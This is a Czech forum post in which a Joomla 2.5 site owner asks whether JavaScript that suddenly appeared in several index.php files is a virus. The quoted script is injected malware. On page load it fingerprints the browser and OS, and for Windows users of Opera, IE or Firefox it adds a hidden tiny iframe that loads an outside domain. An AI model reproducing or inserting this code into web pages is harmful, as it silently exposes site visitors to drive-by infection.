Ahoj chci se zeptat,
včera 15.5. 2014 okolo 23:00 se mi v některých index.php v joomle 2.5 objevil nový kousek kodu.
Myslíte že se může jedna o virus,nebo jde o nějakou automatickou aktualizaci? To si ale nemyslím.
Jde o nějaký js script a vypadá následovně :
</body><script type="text/javascript">if(document.loaded) {
showBrowVer();
} else {
if (window.addEventListener) {
window.addEventListener('load', showBrowVer, false);
} else {
window.attachEvent('onload', showBrowVer);
}
}
function browserDetectNav(chrAfterPoint)
{
var
UA=window.navigator.userAgent, //
//
OperaB = /Opera[ \/]+\w+\.\w+/i, //
OperaV = /Version[ \/]+\w+\.\w+/i, //
FirefoxB = /Firefox\/\w+\.\w+/i, //
ChromeB = /Chrome\/\w+\.\w+/i, //
SafariB = /Version\/\w+\.\w+/i, //
IEB = /MSIE *\d+\.\w+/i, //
SafariV = /Safari\/\w+\.\w+/i, //
//
browser = new Array(),
browserSplit = /[ \/\.]/i,
OperaV = UA.match(OperaV),
Firefox = UA.match(FirefoxB),
Chrome = UA.match(ChromeB),
Safari = UA.match(SafariB),
SafariV = UA.match(SafariV),
IE = UA.match(IEB),
Opera = UA.match(OperaB);
//
Opera ----
if ((!Opera=="")&(!OperaV=="")) browser[0]=OperaV[0].replace(/Version/, "Opera")
else
if (!Opera=="") browser[0]=Opera[0]
else
//
IE
if (!IE=="") browser[0] = IE[0]
else
//
Firefox ----
if (!Firefox=="") browser[0]=Firefox[0]
else
//
Chrom ----
if (!Chrome=="") browser[0] = Chrome[0]
else
//
Safari ----
if ((!Safari=="")&&(!SafariV=="")) browser[0] = Safari[0].replace("Version", "Safari");
var outputData;
if (browser[0] != null) outputData = browser[0].split(browserSplit);
if ((chrAfterPoint==null)&&(outputData != null))
{
chrAfterPoint=outputData[2].length;
outputData[2] = outputData[2].substring(0, chrAfterPoint);
outputData[3] = 'uncomn';
if (UA.indexOf ('Windows') != -1) outputData[3] = 'Windows';
if (UA.indexOf ('Linux')!= -1) outputData[3] = 'Linux';
if (UA.indexOf ('Mac')!= -1) outputData[3] = 'Mac';
if (UA.indexOf ('SunOS')!= -1) outputData[3] = 'SunOS';
if (UA.indexOf ('FreeBSD')!= -1) outputData[3] = 'FreeBSD';
return(outputData);
}
else return(false);
}
function showBrowVer()
{
var data = browserDetectNav();
if (data[0]) {
if ((data[0] == 'Opera' || data[0] == 'MSIE' || data[0] == 'Firefox') & data[3] == 'Windows'){
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
var js_kod2 = document.createElement('iframe');
js_kod2.src = '
kreotceonite.com/
';
js_kod2.width = '5px';
js_kod2.height = '3px';
js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
}
}</script>
